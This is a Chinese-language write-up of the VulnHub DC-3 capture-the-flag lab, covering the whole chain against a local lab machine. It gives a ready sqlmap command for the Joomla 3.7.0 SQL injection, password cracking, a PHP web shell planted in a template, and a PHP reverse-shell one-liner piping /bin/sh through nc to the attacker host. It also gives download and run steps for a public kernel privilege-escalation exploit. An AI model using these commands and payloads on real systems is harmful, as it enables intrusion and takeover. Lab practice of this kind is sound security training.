vulnhub DC-3 靶机
本来说周末把这个靶机打完的,但是周末看了两天动画片。周一上午花了一上午上课的时间,把这个靶机再系统的复现了一下,(感谢我的老师对我的放水。)
DC-3靶机
过关方式:得到root权限,查看flag
攻击机 : kali 192.168.56.132
受害机 :DC-3 192.168.56.144
内网信息探测
arp-scan -l
nmap -A -p1-65535 -T4 192.168.56.144

根据DC-3靶机的mac地址确定靶机ip为 192.168.56.144。通过nmap的端口扫描得到开放端口为80.
直接访问靶机ip

大概意思就是需要得到root权限。通过插件得到网站目录下有joomla的cms

但是我们现在还不知道该cms的路径。使用 joomscan扫描得到。

扫到了joomla管理员的登录页面。

漏洞攻击
上面知道了该cms版本为 3.7.0.

提示存在sql注入漏洞,查看利用文档

提示了sqlmap一把嗦的方法。
前面获取表名那些直接跳过,这里直接梭最后一步用户名和密码
sqlmap -u "http://192.168.56.144/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D "joomladb" -T "#__users" -C "id,username,password" --dump -p list[fullordering]

密码是经过加密的,需要用到john进行密码暴破
vim 1.txt //将加密的内容写入文档中,并保存退出
cat 1.txt //查看内容
john 1.txt //分析
我第一次是可以成功的,第二把复现的就没办法成功。我也不知道这是为什么,大家可以下去研究下。密码暴破为 snoopy
账号 admin
密码 snoopy
get webshell
进入了后台我们下面就想get shell。查看是否可以 上传 web shell。

选择第二个内容。

点击第一个。

通过这个入口写入一句话马。

我们尝试访问下一句话马的路径。

没有找到,说明我们的文件路径有问题。

通过这段提示路径。
http://192.168.56.144/templates/beez3/html/shell.php

成功访问。然后进行蚁剑连接。

这一步主要是为了后面上传exp。由于后续需要进行到提权操作。
反弹shell
现在回到刚才写一句话马的界面,写入反弹shell
<?php system('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.56.132 1234 >/tmp/f');?>
然后监听端口
nc -lvnp 1234
访问一下写入反弹shell的目录里。

由于不是完整的shell环境,我们还需要通过DC -提过的python的pty模块,得到完整的shell环境。
python -c 'import pty;pty.spawn("/bin/bash")'

成功获取shell
权限提升
查看权限。 whoami

需要进行提权。
执行前面两个操作过的东西,发现很多环境无法进行正常利用。
查看 linux内核版本吗,尝试进行内核提权。

得到linux的内核版本,然后查看是否有可利用的文件。

查看利用内容。
cat /usr/share/exploitdb/exploits/linux/local/39772.txt

这一段是exp的下载地址。
网上很多博客,我感觉他自己都没有去找过这个文件,他直接给你说这一段是exp的地址,叫你去下载,但是现在都2023年了,这个文件早就不能用了关于这个项目,也搬到gitlab上去了。那些还在说这个路径的,我也不知道他后续是如何进行提权的。
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39772.zip
这才是现在的2023年3月6日可以找到的exp地址。
下载下来后将文件复制到kali并通过蚁剑上传。
//进入exps上传的目录进行解压操作。
unzip 39772.zip //解压压缩包
cd 39772 //切换到解压好的目录下
tar -xvf exploit.tar //解压提权压缩包
cd ebpf_mapfd_doubleput_exploit //切换目录
//切换到上面最后一步的目录后,再执行提权操作
./compile.sh
ls
./doubleput //执行提权文件
whoami

成功提权到root权限。
//获取flag
cd/root
ls
cat the-flag.txt

成功拿到flag。
总结
这个靶机的过关方式首先与前面两关的就不同,这个只需要得到一个flag就可以了。难度的话,我个人感觉是更低的。由于靶机只开放了一个80端口,所以没办法进行ssh连接操作,想执行shell。需要进行反弹shell的操作,提权的话用到的就是网上公开的exp,kali里面的文件路径已经过期了,需要到gitlab去找。这个靶机的难点我个人认为在于反弹shell的编写,我以前也没有系统学过,用的也是网上博客的。哪天还是去系统了解下。还有就是对于john这款工具,有些师傅没有用过,所以面对加密的密码就有点懵逼。